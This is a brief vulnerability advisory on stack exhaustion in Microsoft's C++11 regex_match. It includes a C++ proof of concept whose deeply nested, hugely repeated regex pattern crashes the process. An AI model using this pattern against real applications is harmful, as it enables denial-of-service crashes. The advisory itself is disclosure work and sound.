Microsoft C++11 <regex> 'regex_match' function Stack Overflow Auhor: Maksymilian Arciemowicz Tested on: Windows 10 and Visual Studio 2013 CWE: https://cwe.mitre.org/data/definitions/674.html The Microsoft C++11 <regex> does not properly control the amount of recursion that takes place, which consumes excessive resources of stack. Expected 'error_type': error_stack there was not enough memory to perform a match Retured: Crash due stack exhaustion PoC: ------------------- #include "stdafx.h" #include <regex> #include <iostream> using namespace std; int _tmain(int argc, _TCHAR* argv[]) { const char *first = "abc abc abc abc abc abc abc abc abc"; const char *last = first + strlen(first); cmatch narrowMatch; regex rx("((((((((.*){1,11111111}.*){1,11111111}.*){1,11111111}.*){1,11111111}.*){1,11111111}.*){1,11111111}.*){1,11111111}.*)"); bool found = regex_match(first, last, narrowMatch, rx); return 0; } -------------------